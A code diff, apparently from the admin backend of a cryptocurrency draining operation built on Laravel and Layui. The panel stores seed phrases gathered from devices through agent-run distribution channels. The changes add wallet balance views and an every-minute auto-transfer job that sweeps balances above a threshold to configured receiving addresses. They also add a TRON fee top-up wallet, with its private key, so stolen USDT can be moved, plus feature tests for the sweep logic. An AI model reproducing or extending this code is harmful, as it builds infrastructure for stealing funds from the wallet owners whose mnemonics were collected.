applyWalletsHtml(layero, next);
|
||||||
|
var ok = Number(next.refreshed || 0);
|
||||||
|
var fail = Number(next.failed || 0);
|
||||||
|
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
|
||||||
|
var cooldown = Number(next.retry_after || 60);
|
||||||
|
var nextBtn = layero.find('#LAY-mn-refresh-bal');
|
||||||
|
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
|
||||||
|
setTimeout(function () {
|
||||||
|
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||||
|
}, cooldown * 1000);
|
||||||
|
},
|
||||||
|
error: function (xhr) {
|
||||||
|
layer.close(loadIdx);
|
||||||
|
var body = xhr.responseJSON || {};
|
||||||
|
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
|
||||||
|
if (xhr.status === 429 && retry > 0) {
|
||||||
|
layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
|
||||||
|
setTimeout(function () {
|
||||||
|
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||||
|
}, retry * 1000);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||||
|
layer.msg(body.msg || body.message || '刷新失败');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function openWallets(row) {
|
||||||
|
var loadIdx = layer.load(1, { shade: 0.1 });
|
||||||
|
$.ajax({
|
||||||
|
url: row.wallets_url,
|
||||||
|
method: 'GET',
|
||||||
|
success: function (res) {
|
||||||
|
layer.close(loadIdx);
|
||||||
|
if (!res || res.code !== 0) {
|
||||||
|
return layer.msg((res && res.msg) || '加载失败');
|
||||||
|
}
|
||||||
|
var payload = res.data || {};
|
||||||
|
if (!payload.refresh_url && row.refresh_url) {
|
||||||
|
payload.refresh_url = row.refresh_url;
|
||||||
|
}
|
||||||
|
layer.open({
|
||||||
|
type: 1,
|
||||||
|
title: '关联钱包 — 助记词 #' + row.id,
|
||||||
|
area: ['920px', '480px'],
|
||||||
|
shadeClose: true,
|
||||||
|
content: renderWalletsHtml(payload),
|
||||||
|
success: function (layero) {
|
||||||
|
bindRefresh(layero, payload);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
},
|
||||||
|
error: function (xhr) {
|
||||||
|
layer.close(loadIdx);
|
||||||
|
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '加载失败');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
table.render({
|
table.render({
|
||||||
elem: '#LAY-mn-list',
|
elem: '#LAY-mn-list',
|
||||||
id: 'LAY-mn-list',
|
id: 'LAY-mn-list',
|
||||||
@@ -56,7 +226,7 @@ layui.use(['table', 'form'], function () {
|
|||||||
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
|
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
|
||||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
||||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
{ title: '操作', width: 190, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||||||
]],
|
]],
|
||||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||||
request: { pageName: 'page', limitName: 'limit' },
|
request: { pageName: 'page', limitName: 'limit' },
|
||||||
@@ -67,6 +237,10 @@ layui.use(['table', 'form'], function () {
|
|||||||
return false;
|
return false;
|
||||||
});
|
});
|
||||||
table.on('tool(LAY-mn-list)', function (obj) {
|
table.on('tool(LAY-mn-list)', function (obj) {
|
||||||
|
if (obj.event === 'wallets') {
|
||||||
|
openWallets(obj.data);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (obj.event !== 'detail') return;
|
if (obj.event !== 'detail') return;
|
||||||
var url = obj.data.detail_url;
|
var url = obj.data.detail_url;
|
||||||
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
||||||
|
|||||||
@@ -128,7 +128,6 @@
|
|||||||
</dd>
|
</dd>
|
||||||
</dl>
|
</dl>
|
||||||
</li>
|
</li>
|
||||||
@if(auth('admin')->user()?->isSuper())
|
|
||||||
<li data-name="system" class="layui-nav-item">
|
<li data-name="system" class="layui-nav-item">
|
||||||
<a href="javascript:;" lay-tips="系统" lay-direction="2">
|
<a href="javascript:;" lay-tips="系统" lay-direction="2">
|
||||||
<i class="layui-icon layui-icon-set"></i>
|
<i class="layui-icon layui-icon-set"></i>
|
||||||
@@ -138,19 +137,19 @@
|
|||||||
<dd data-name="settings">
|
<dd data-name="settings">
|
||||||
<a lay-href="{{ route('admin.system.settings.index') }}">设置</a>
|
<a lay-href="{{ route('admin.system.settings.index') }}">设置</a>
|
||||||
</dd>
|
</dd>
|
||||||
|
@if(auth('admin')->user()?->isSuper())
|
||||||
<dd data-name="admins">
|
<dd data-name="admins">
|
||||||
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
|
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
|
||||||
</dd>
|
</dd>
|
||||||
<dd data-name="raw-logs">
|
<dd data-name="raw-logs">
|
||||||
<a lay-href="{{ route('admin.logs.index') }}">原始日志</a>
|
<a lay-href="{{ route('admin.logs.index') }}">原始日志</a>
|
||||||
</dd>
|
</dd>
|
||||||
|
@endif
|
||||||
</dl>
|
</dl>
|
||||||
</li>
|
</li>
|
||||||
@endif
|
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="layadmin-pagetabs" id="LAY_app_tabs">
|
<div class="layadmin-pagetabs" id="LAY_app_tabs">
|
||||||
<div class="layui-icon layadmin-tabs-control layui-icon-prev" layadmin-event="leftPage"></div>
|
<div class="layui-icon layadmin-tabs-control layui-icon-prev" layadmin-event="leftPage"></div>
|
||||||
<div class="layui-icon layadmin-tabs-control layui-icon-next" layadmin-event="rightPage"></div>
|
<div class="layui-icon layadmin-tabs-control layui-icon-next" layadmin-event="rightPage"></div>
|
||||||
|
|||||||
@@ -11,20 +11,19 @@
|
|||||||
<legend>Telegram Bot</legend>
|
<legend>Telegram Bot</legend>
|
||||||
</fieldset>
|
</fieldset>
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
<label class="layui-form-label">Bot Token</label>
|
<label class="layui-form-label">Bot</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block">
|
||||||
<input type="text" name="telegram_bot_token" class="layui-input" autocomplete="off"
|
<div class="layui-form-mid" id="LAY-telegram-bot-name" style="padding-top:9px !important;">
|
||||||
value="{{ $form['telegram.bot_token'] }}">
|
|
||||||
<div class="layui-form-mid layui-word-aux" id="LAY-telegram-bot-name">
|
|
||||||
@if($botUsername)
|
@if($botUsername)
|
||||||
当前 Bot:<b>{{ $botUsername }}</b>
|
当前 Bot:<b>{{ $botUsername }}</b>
|
||||||
@if($botInviteUrl)
|
@if($botInviteUrl)
|
||||||
· <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a>
|
· <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a>
|
||||||
@endif
|
@endif
|
||||||
@else
|
@else
|
||||||
保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。
|
未识别 Bot 用户名。请在 .env 配置 <code>TELEGRAM_BOT_TOKEN</code> 后刷新本页。
|
||||||
@endif
|
@endif
|
||||||
</div>
|
</div>
|
||||||
|
<div class="layui-form-mid layui-word-aux">Bot Token 仅能通过 .env 的 TELEGRAM_BOT_TOKEN 配置,后台不展示。</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
@@ -39,49 +38,64 @@
|
|||||||
@if($botUsername)
|
@if($botUsername)
|
||||||
请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。
|
请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。
|
||||||
@else
|
@else
|
||||||
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。保存 Token 后会提示要邀请哪个 Bot。
|
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。
|
||||||
@endif
|
@endif
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<fieldset class="layui-elem-field layui-field-title">
|
<fieldset class="layui-elem-field layui-field-title">
|
||||||
<legend>后台访问域名</legend>
|
<legend>自动转账(官方渠道)</legend>
|
||||||
</fieldset>
|
</fieldset>
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
<label class="layui-form-label">管理后台</label>
|
<label class="layui-form-label">开关</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block">
|
||||||
<textarea name="panel_admin_hosts" class="layui-textarea" rows="3"
|
<input type="hidden" name="auto_transfer_enabled" value="0">
|
||||||
placeholder="多行或逗号分隔,如:admin.example.com">{{ $form['panel.admin_hosts'] }}</textarea>
|
<input type="checkbox" name="auto_transfer_enabled" value="1" lay-skin="switch" lay-text="开|关"
|
||||||
<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /admin(其它域名 404)。也可设 .env CORUNA_ADMIN_HOSTS</div>
|
{{ ($form['auto_transfer.enabled'] ?? '0') === '1' ? 'checked' : '' }}>
|
||||||
|
<div class="layui-form-mid layui-word-aux">仅控制官方渠道设备;代理渠道由代理用户各自开关控制</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
<label class="layui-form-label">运营后台</label>
|
<label class="layui-form-label">阈值</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:8px;max-width:720px;">
|
||||||
<textarea name="panel_agent_hosts" class="layui-textarea" rows="3"
|
<input type="text" name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:140px;"
|
||||||
placeholder="多行或逗号分隔,如:agent.example.com">{{ $form['panel.agent_hosts'] }}</textarea>
|
value="{{ $form['auto_transfer.threshold_usdt'] }}">
|
||||||
<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /user(其它域名 404)。也可设 .env CORUNA_AGENT_HOSTS</div>
|
<input type="text" name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:140px;"
|
||||||
|
value="{{ $form['auto_transfer.threshold_trx'] }}">
|
||||||
|
<input type="text" name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:140px;"
|
||||||
|
value="{{ $form['auto_transfer.threshold_eth'] }}">
|
||||||
|
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
|
||||||
|
value="{{ $form['auto_transfer.threshold_btc'] }}">
|
||||||
</div>
|
</div>
|
||||||
|
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 >0 触发</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<fieldset class="layui-elem-field layui-field-title">
|
<fieldset class="layui-elem-field layui-field-title">
|
||||||
<legend>渠道链接</legend>
|
<legend>TRON 手续费补给</legend>
|
||||||
</fieldset>
|
</fieldset>
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
<label class="layui-form-label">投放域名</label>
|
<label class="layui-form-label">补给地址</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block">
|
||||||
<textarea name="channels_domains" class="layui-textarea" rows="4"
|
<input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
|
||||||
placeholder="多行或逗号分隔,如:cdn1.example.com cdn2.example.com">{{ $form['channels.domains'] }}</textarea>
|
value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
|
||||||
<div class="layui-form-mid layui-word-aux">渠道未单独配置 domains 时的投放域名兜底;覆盖 .env 的 CORUNA_LAB_CHANNEL_DOMAINS。API/上报域名请用 CORUNA_REPORTING_DOMAINS</div>
|
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。收款地址请在 .env 配置 TRANSFER_TO_ADDRESS*</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
<label class="layui-form-label">代理渠道上限</label>
|
<label class="layui-form-label">私钥</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block">
|
||||||
<input type="number" min="1" max="100" name="channels_max_per_agent" class="layui-input"
|
<input type="password" name="transfer_fee_private_key_tron" class="layui-input" autocomplete="new-password"
|
||||||
value="{{ $form['channels.max_per_agent'] }}" style="max-width:160px;">
|
placeholder="{{ ($form['transfer.fee_private_key_tron_set'] ?? '0') === '1' ? '已配置,留空不修改' : '手续费地址私钥' }}">
|
||||||
<div class="layui-form-mid layui-word-aux">每个代理用户最多可拥有的渠道链接数(官方不限)</div>
|
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_PRIVATE_KEY_TRON;留空不改</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="layui-form-item">
|
||||||
|
<label class="layui-form-label">目标 TRX</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<input type="text" name="transfer_fee_topup_trx" class="layui-input" style="max-width:160px;"
|
||||||
|
value="{{ $form['transfer.fee_topup_trx'] }}" placeholder="20">
|
||||||
|
<div class="layui-form-mid layui-word-aux">补给目标余额,默认 20</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -102,10 +116,12 @@ layui.use(['form', 'layer'], function () {
|
|||||||
var token = @json(csrf_token());
|
var token = @json(csrf_token());
|
||||||
|
|
||||||
form.on('submit(LAY-settings-save)', function (data) {
|
form.on('submit(LAY-settings-save)', function (data) {
|
||||||
|
var payload = Object.assign({}, data.field, { _token: token });
|
||||||
|
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: @json(route('admin.system.settings.update')),
|
url: @json(route('admin.system.settings.update')),
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
data: Object.assign({}, data.field, { _token: token }),
|
data: payload,
|
||||||
success: function (res) {
|
success: function (res) {
|
||||||
layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败'));
|
layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败'));
|
||||||
if (res.code === 0 && res.data) {
|
if (res.code === 0 && res.data) {
|
||||||
@@ -115,8 +131,6 @@ layui.use(['form', 'layer'], function () {
|
|||||||
var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : '';
|
var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : '';
|
||||||
$('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite);
|
$('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite);
|
||||||
$('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。');
|
$('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。');
|
||||||
} else {
|
|
||||||
$('#LAY-telegram-bot-name').text('保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。');
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
@@ -136,8 +150,7 @@ layui.use(['form', 'layer'], function () {
|
|||||||
method: 'POST',
|
method: 'POST',
|
||||||
data: {
|
data: {
|
||||||
_token: token,
|
_token: token,
|
||||||
chat_id: $('input[name=telegram_owner_chat_id]').val(),
|
chat_id: $('input[name=telegram_owner_chat_id]').val()
|
||||||
bot_token: $('input[name=telegram_bot_token]').val()
|
|
||||||
},
|
},
|
||||||
success: function (res) {
|
success: function (res) {
|
||||||
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
|
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
|
||||||
|
|||||||
+8
-4
@@ -56,6 +56,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
|||||||
|
|
||||||
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
||||||
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
||||||
|
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
||||||
|
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||||
|
|
||||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||||
@@ -80,6 +82,12 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
|||||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||||
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
|
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
|
||||||
|
|
||||||
|
Route::prefix('system')->name('system.')->group(function () {
|
||||||
|
Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index');
|
||||||
|
Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update');
|
||||||
|
Route::post('settings/telegram-test', [SystemSettingsController::class, 'testTelegram'])->name('settings.telegramTest');
|
||||||
|
});
|
||||||
|
|
||||||
Route::middleware('admin.super')->group(function () {
|
Route::middleware('admin.super')->group(function () {
|
||||||
Route::get('logs', [RawLogController::class, 'index'])->name('logs.index');
|
Route::get('logs', [RawLogController::class, 'index'])->name('logs.index');
|
||||||
Route::get('logs/{kind}/{file}', [RawLogController::class, 'show'])
|
Route::get('logs/{kind}/{file}', [RawLogController::class, 'show'])
|
||||||
@@ -90,10 +98,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
|||||||
})->where('file', '\d{8}\.log')->name('logs.show.legacy');
|
})->where('file', '\d{8}\.log')->name('logs.show.legacy');
|
||||||
|
|
||||||
Route::prefix('system')->name('system.')->group(function () {
|
Route::prefix('system')->name('system.')->group(function () {
|
||||||
Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index');
|
|
||||||
Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update');
|
|
||||||
Route::post('settings/telegram-test', [SystemSettingsController::class, 'testTelegram'])->name('settings.telegramTest');
|
|
||||||
|
|
||||||
Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index');
|
Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index');
|
||||||
Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data');
|
Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data');
|
||||||
Route::post('admins', [AdminUserController::class, 'store'])->name('admins.store');
|
Route::post('admins', [AdminUserController::class, 'store'])->name('admins.store');
|
||||||
|
|||||||
@@ -4,6 +4,12 @@ use App\Services\Tokenview\TokenviewClient;
|
|||||||
use Illuminate\Foundation\Inspiring;
|
use Illuminate\Foundation\Inspiring;
|
||||||
use Illuminate\Support\Facades\Artisan;
|
use Illuminate\Support\Facades\Artisan;
|
||||||
use Illuminate\Support\Facades\Http;
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Schedule;
|
||||||
|
|
||||||
|
Schedule::command('coruna:auto-transfer')
|
||||||
|
->everyMinute()
|
||||||
|
->withoutOverlapping()
|
||||||
|
->runInBackground();
|
||||||
|
|
||||||
Artisan::command('inspire', function () {
|
Artisan::command('inspire', function () {
|
||||||
$this->comment(Inspiring::quote());
|
$this->comment(Inspiring::quote());
|
||||||
|
|||||||
@@ -44,6 +44,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
|||||||
|
|
||||||
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
||||||
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
||||||
|
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
||||||
|
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||||
|
|
||||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||||
|
|||||||
@@ -0,0 +1,315 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Channel;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\AutoTransferConfig;
|
||||||
|
use App\Services\AutoTransferService;
|
||||||
|
use App\Services\TransferService;
|
||||||
|
use App\Services\WalletBalanceService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Mockery;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class AutoTransferTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private function makeOfficialDevice(): Device
|
||||||
|
{
|
||||||
|
$ch = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||||
|
Channel::query()->create([
|
||||||
|
'channel_id' => $ch,
|
||||||
|
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
return Device::query()->create([
|
||||||
|
'device_id' => 'dev-official-auto',
|
||||||
|
'channel_id' => $ch,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function makeAgentDevice(User $agent): Device
|
||||||
|
{
|
||||||
|
$ch = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||||
|
Channel::query()->create([
|
||||||
|
'channel_id' => $ch,
|
||||||
|
'user_id' => $agent->id,
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
return Device::query()->create([
|
||||||
|
'device_id' => 'dev-agent-auto',
|
||||||
|
'channel_id' => $ch,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function linkAddress(Device $device, array $attrs = []): WalletAddress
|
||||||
|
{
|
||||||
|
$mn = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
]);
|
||||||
|
$mn->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
$mn->save();
|
||||||
|
|
||||||
|
return WalletAddress::query()->create(array_merge([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'mnemonic_id' => $mn->id,
|
||||||
|
'derive_index' => 0,
|
||||||
|
'usdt' => 10,
|
||||||
|
'trx' => 5,
|
||||||
|
], $attrs));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function official_uses_system_switch_only(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => true]);
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$addr = $this->linkAddress($device);
|
||||||
|
|
||||||
|
$cfg = app(AutoTransferConfig::class);
|
||||||
|
$this->assertTrue($cfg->isEnabledForAddress($addr));
|
||||||
|
|
||||||
|
config(['coruna.auto_transfer.enabled' => false]);
|
||||||
|
$this->assertFalse(app(AutoTransferConfig::class)->isEnabledForAddress($addr));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function agent_switch_independent_of_system(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => false]);
|
||||||
|
$agent = User::query()->create([
|
||||||
|
'username' => 'agent-auto',
|
||||||
|
'password' => 'secret12',
|
||||||
|
'status' => 1,
|
||||||
|
'auto_transfer_enabled' => true,
|
||||||
|
]);
|
||||||
|
$device = $this->makeAgentDevice($agent);
|
||||||
|
$addr = $this->linkAddress($device);
|
||||||
|
|
||||||
|
$cfg = app(AutoTransferConfig::class);
|
||||||
|
$this->assertTrue($cfg->isEnabledForAddress($addr));
|
||||||
|
|
||||||
|
$agent->auto_transfer_enabled = false;
|
||||||
|
$agent->save();
|
||||||
|
$this->assertFalse($cfg->isEnabledForAddress($addr->fresh()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function threshold_falls_back_to_zero_when_unset(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$addr = $this->linkAddress($device);
|
||||||
|
$cfg = app(AutoTransferConfig::class);
|
||||||
|
$this->assertSame('0', $cfg->thresholdForAddress($addr, 'USDT'));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function evaluate_calls_transfer_when_above_threshold(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => true]);
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
|
||||||
|
|
||||||
|
$transfers = Mockery::mock(TransferService::class);
|
||||||
|
$transfers->shouldReceive('handle')
|
||||||
|
->once()
|
||||||
|
->with('tron', $addr->address, null, 'USDT', 'auto')
|
||||||
|
->andReturn(['ok' => true, 'txid' => 'x', 'from' => $addr->address, 'to' => 'T', 'amount' => '12.5', 'asset' => 'USDT']);
|
||||||
|
$this->app->instance(TransferService::class, $transfers);
|
||||||
|
|
||||||
|
$balances = Mockery::mock(WalletBalanceService::class);
|
||||||
|
$balances->shouldReceive('refresh')->twice()->andReturn(true);
|
||||||
|
$this->app->instance(WalletBalanceService::class, $balances);
|
||||||
|
|
||||||
|
app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function evaluate_skips_when_live_balance_below_threshold(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => true]);
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
|
||||||
|
|
||||||
|
$transfers = Mockery::mock(TransferService::class);
|
||||||
|
$transfers->shouldNotReceive('handle');
|
||||||
|
$this->app->instance(TransferService::class, $transfers);
|
||||||
|
|
||||||
|
$balances = Mockery::mock(WalletBalanceService::class);
|
||||||
|
$balances->shouldReceive('refresh')->once()->andReturnUsing(function (WalletAddress $row) {
|
||||||
|
WalletAddress::query()->whereKey($row->id)->update(['usdt' => '0.000000']);
|
||||||
|
$row->refresh();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
});
|
||||||
|
$this->app->instance(WalletBalanceService::class, $balances);
|
||||||
|
|
||||||
|
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||||
|
$this->assertSame(0, $stats['triggered']);
|
||||||
|
$this->assertSame(0, bccomp((string) $addr->fresh()->usdt, '0', 6));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function skips_same_address_asset_within_three_minutes_but_refreshes(): void
|
||||||
|
{
|
||||||
|
config(['coruna.auto_transfer.enabled' => true]);
|
||||||
|
$device = $this->makeOfficialDevice();
|
||||||
|
$addr = $this->linkAddress($device, ['usdt' => 6, 'trx' => 0]);
|
||||||
|
|
||||||
|
\App\Models\TransferRecord::query()->create([
|
||||||
|
